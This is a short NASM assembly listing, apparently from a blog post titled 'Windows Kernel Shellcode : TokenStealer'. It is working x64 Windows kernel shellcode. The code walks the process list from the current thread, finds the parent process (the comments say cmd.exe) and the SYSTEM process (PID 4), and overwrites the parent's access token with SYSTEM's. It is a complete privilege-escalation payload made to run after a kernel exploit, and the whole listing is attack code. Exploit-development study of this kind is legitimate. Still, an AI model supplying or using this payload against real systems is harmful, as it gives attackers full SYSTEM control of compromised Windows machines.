Windows Kernel Shellcode : TokenStealer - https://amriunix.com/post/windows-kernel-shellcode-tokenstealer/

TokenStealer.nasm

[bits 64]
global _start

section .text

_start:
mov r9, qword [gs:0x188]     ; Pointing at _KTHREAD structure
mov r9, qword [r9 + 0x220]   ; Pointing at _KPROCESS/_EPROCESS structure
mov r8, qword [r9 + 0x3e8]   ; Saving the Parent PID in r8 / you can change it directly with a PID value from your choice !
mov rax, r9                  ; Saving the _KPROCESS/_EPROCESS address
loop1:
mov rax, qword [rax + 0x2f0] ; Next ActiveProcessLinks Entry
sub rax, 0x2f0               ; Point in the beginning of _EPROCESS structure
cmp qword [rax + 0x2e8], r8  ; Compare the saved Parent PID with the UniqueProcessId
jne loop1
mov rcx, rax                 ; Copy the _EPROCESS address to RCX
add rcx, 0x360               ; Pointing RCX at Token
mov rax, r9
loop2:
mov rax, qword [rax + 0x2f0] ; Next ActiveProcessLinks Entry
sub rax, 0x2f0               ; Pointing in the beginning of _EPROCESS
cmp qword [rax + 0x2e8], 0x4 ; Compare the PID (4) with the UniqueProcessId
jne loop2
mov rdx, rax                 ; Pointing RDX at the beginning of _EPROCESS of system
add rdx, 0x360               ; Pointing RDX at the Token of system
mov rdx, qword [rdx]         ; Copying the Token
mov qword [rcx], rdx         ; Replace the cmd.exe Token with the system Token
ret